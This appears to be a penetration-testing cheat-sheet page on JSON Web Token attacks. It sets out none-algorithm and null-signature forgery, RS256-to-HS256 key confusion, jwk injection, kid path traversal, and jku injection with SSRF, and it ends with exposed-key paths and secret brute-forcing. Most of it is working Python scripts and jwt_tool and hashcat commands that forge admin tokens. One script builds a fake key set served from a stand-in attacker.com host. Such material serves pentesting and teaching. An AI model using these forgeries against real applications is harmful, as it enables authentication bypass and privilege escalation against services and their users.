Skip to content

🪙 Json Web Token Attacks

📚 Resources

🛠️ Tools

JWT Format

JWT (JSON Web Token) is compose in 3 parts, header, payload and signature.

php
# How to create JWT
$base64_header = base64_encode($header); # convert to base64 the json header
$base64_payload = base64_encode($payload); # convert to base64 the json payload
$sign = hash_hmac('sha256', $base64_header . '.' . $base64_payload, $secret, true);

$base64_header. '.' .$base64_payload. '.' .$sign;
bash
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
# to base64_decode
"{"typ":"JWT","alg":"HS256"}{"username":"admin"}" # the signature is an binary value

JWT Signature

None Algorithm

Some servers may accept JWTs with the none algorithm, meaning no signature is required. This allows you to forge tokens freely.

You can try changing the algorithm to none or variants like:

  • none
  • None
  • NONE
  • nOnE
json
{"typ":"JWT","alg":"none"}{"username":"admin"}

// encoded to JWT format without using key
"eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0."
bash
# jwt_tool
python3 jwt_tool.py "<jwt>" -X a # give 4 JWT => none, None, NONE, nOnE

Manual exploit

python
import jwt

jwtToken = 'YOUR_JWT'
decodedToken = jwt.decode(jwtToken, verify=False)

# decode the token before encoding with type 'None'
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)

print(noneEncoded.decode())

Null Signature Attack (CVE-2020-28042)

This vulnerability affects certain JWT libraries (e.g., jsonwebtoken in Node.js) where a missing or null key leads to skipping signature verification, even with a valid-looking alg.

Encoded JWT (no signature, but still uses HS256 in header):

json
{"typ":"JWT","alg":"HS256"}{"username":"admin"}

// encoded to JWT format without using key
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0."
bash
# jwt_tool
python3 jwt_tool.py "<jwt>" -X n # Removes the signature without changing alg

Key Confusion Attack RS256 to HS256 (CVE-2016-5431)

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

If a server expects a JWT signed with RS256 (asymmetric), but doesn't strictly enforce the algorithm, an attacker can switch it to HS256 (symmetric).

The backend may then mistakenly use the RSA public key—normally used only for verification—as the HMAC secret key, allowing forged tokens to be accepted as valid.

This works if the public key is accessible, for example when reused as the server’s TLS certificate:

bash
openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

Or the .pem public key file might be directly accessible on the server.

bash
python3 jwt_tool.py $(cat jwt) -X k -pk public_key.pem

JWT Signature - Key Injection Attack (CVE-2018-0114)

This vulnerability affects JWT implementations that accept a jwk (JSON Web Key) parameter in the token header. An attacker can generate their own RSA key pair, sign a malicious token with their private key, and embed the corresponding public key directly into the token's header via the jwk field. If the server does not properly validate the source of the key, it may trust this embedded key and accept the forged token as valid. This can lead to authentication bypass and privilege escalation. The issue was notably present in versions of the Cisco node-jose library prior to 0.11.0.

Exploit:

  • jwt_tool
bash
pytho3 jwt_tool.py $(cat jwt) -X i
python
#!/usr/bin/env python3

# Dependencies :
# pip install PyJWT pyjwt[crypto] pycryptodome

from base64 import urlsafe_b64encode
from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA
import jwt

# Generate RSA key pair (1024 bits)
rsa = RSA.generate(1024)

# JWT header with embedded public key (JWK)
header = {
    "alg": "RS256",
    "type": "JWT",
    "jwk": {
        "kty": "RSA",
        "kid": "jwt_tool",
        "use": "sig",
        "e": urlsafe_b64encode(long_to_bytes(rsa.e)).decode().rstrip("="),
        "n": urlsafe_b64encode(long_to_bytes(rsa.n)).decode().rstrip("=")
    }
}

payload = {
    "user": "admin"
}

# Sign a token using the private key, include JWK in the header
jwt_encoded = jwt.encode(
    payload,
    rsa.export_key(),
    algorithm='RS256',
    headers=header
)

# (Optional) Verify token using the public key
jwt.decode(
    jwt_encoded,
    rsa.public_key().export_key(),
    algorithms=["RS256"]
)

print(f"Payload:\n{jwt_encoded}")

JWT Claims

KID (Key ID)

The kid value, defined which file is used to sign the JWT. PATH traversal, it's exploitable.

bash
..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdev%2Fnull # url encoded payload
....//....//....//....//....//....//dev/null # if replace ../ by '', with ....// after replace, return ../
..././..././..././..././..././dev/null # replace ../ in ..././ => .'../'./ => ../

jwt_tool :

bash
jwt_tool $(cat jwt) -T # replace kid by ....//dev/null, and other values

# put value in new_jwt
jwt_tool $(cat new_jwt) -X k -pk /dev/null

# sign the jwt with /dev/null, the server verify too the signature with /dev/null and the jwt has the rigth signature

In JWT, the kid value is vulnerable if bad escape, and this is very dangerous because this value specify key. The most know attacks are : SQL injection, LDAP injection, Path traversale, Command injection

JWKS - jku header injection

The jku (`JSON Web Key Set URL) header tells the server where to fetch the public key used to verify the JWT signature.

There are two common formats:

  • jwk.json - used to store a single key:
json
{
  "kty": "RSA",
  "kid": "13d051bf-c761-4710-9ea0-0684b5b844e3",
  "e": "AQAB",
  "n": "2VzfrhhrHKKkfkFMJd[...]OyUjsQcHJUrpHUcfmU"
}
  • jwks.json - used to store multiple keys.
json
{
  "keys": [
    {
      "kty": "RSA",
      "kid": "13d051bf-c761-4710-9ea0-0684b5b844e3",
      "e": "AQAB",
      "n": "2VzfrhhrHKKkfkFMJd[...]OyUjsQcHJUrpHUcfmU"
    }
  ]
}

If the jku header is user-controlled, host your own JWK(S) file on a server to trick the application into using your key.

⚙️ Python script to generate a fake JWKS and sign a JWT

python
#!/usr/bin/env python3

# Dependencies :
# pip install PyJWT pyjwt[crypto] pycryptodome

from base64 import urlsafe_b64encode
from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA
import jwt
import uuid
import json
import calendar
import time
import sys

file_type_choice = input(
    'Please, choose the file format between :\r\n[1] jwk.json (single key)\r\n[2] jwks.json (multiple keys)\r\nYour choice: ')

if file_type_choice not in ['1', '2']:
    sys.exit('Please choose option 1 or 2!')

# Genarate RSA key pair
rsa = RSA.generate(2048)
kid = str(uuid.uuid4())

url_file = "jwk.json" if file_type_choice == '1' else "jwks.json"
url = f"http://attacker.com/{url_file}"

print(f"\r\n[+] JWKS URL (jku): {url}\r\n")

# JWKS to be published on the endpoint
# Possible to add several keys like => keys : [{key1}, {key2}]
jwk = {
    "kty": "RSA",
    "kid": kid,
    "e": urlsafe_b64encode(long_to_bytes(rsa.e)).decode().rstrip("="),
    "n": urlsafe_b64encode(long_to_bytes(rsa.n)).decode().rstrip("=")
}

# If the user chose multiple keys (jwks.json), wrap the key in a "keys" list
with open(url_file, 'w') as f:
    json.dump({"keys": [jwk]} if file_type_choice == '2' else jwk, f, indent=2)

# Export key to sign with another tool ...
with open('private_key.pem', 'wb') as f:
    f.write(rsa.export_key())

# JWT payload
payload = {
    "user": "admin",
    "iat": calendar.timegm(time.gmtime())
}

# JWT header — necessary informations
headers = {
    "alg": "RS256",
    "kid": kid,
    "jku": url
}

# Signature du token
jwt_encoded = jwt.encode(
    payload,
    rsa.export_key(),
    algorithm='RS256',
    headers=headers
)

print(f"JWT:\n{jwt_encoded}\n")

The Python script above generates a jku with an attack URL and creates two files: the first file is jwk.json or jwks.json, containing the public key, and the second file, private_key.pem, contains the RSA private key. The private key can then be used to sign a payload with another tool. This tool also generates the final JWT token, ready to be sent to a vulnerable application.

🛠️ Usage with jwt_tool

Look : jwt_tool.md cheathseet jwk - jku

🌐 SSRF

If the web server allows only localhost IPs or applies a filter, you can exploit an SSRF vulnerability. This works when the server fetches keys from the URL specified in the jku header.

json
{ "jku": "http://localhost.attacker.com.nip.io" }

Note

  • jku is dangerous when not validated server-side — it allows you to serve your own key.

  • JWTs signed with your own private key will be accepted if the server fetches your malicious jwks.json via the injected jku.

  • When using -jw, make sure your JWK includes private key fields (d, p, q, dp, dq, qi), not just the public part.

JWT Disclosure

If you find the public key used to sign a JWT HS256 you can generate your own valid tokens with any payload you want, as the server will accept them as legitimate.

🔓 Public Key .pem Exposure

The public key used for JWT verification may sometimes be directly accessible on the server, especially if it's reused across services or exposed unintentionally.

bash
/public.pem
/jwt.pem
/token_key.pem
/jwks.json
/.well-known/jwks.json
/.well-known/keys.pem
/api/keys
/api/v1/keys
/certs/public.pem
/static/jwt.pem
/config/jwt_public.pem
/openid/connect/jwks.json

💡 Also look for them in JavaScript files or API responses.

JWT Signature - Disclosure of a correct signature (CVE-2019-7644)

Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.

bash
# Exemple of response

Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=

JWT Signature - Recover Public Key From Signed JWTs

The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.

Brute force

You can used the Brute force on the jwt, with hashcat or jwt_tool by example.

bash
jwt_tool "<jwt>" -C -d "wordlist.txt"

hashcat -a 0 -m 16500 jwt.txt wordlist.txt

check out the JWT Attacks tools cheat sheet

Tips

bash
# - Look the parameters used, if pk is on the server, replace value
# - Look if exp existed and test if the exp value if respected
# - Brute-force, false sign
# - Base64-url if the same as base64 but he replace '-' and "\_" by '+' and '/'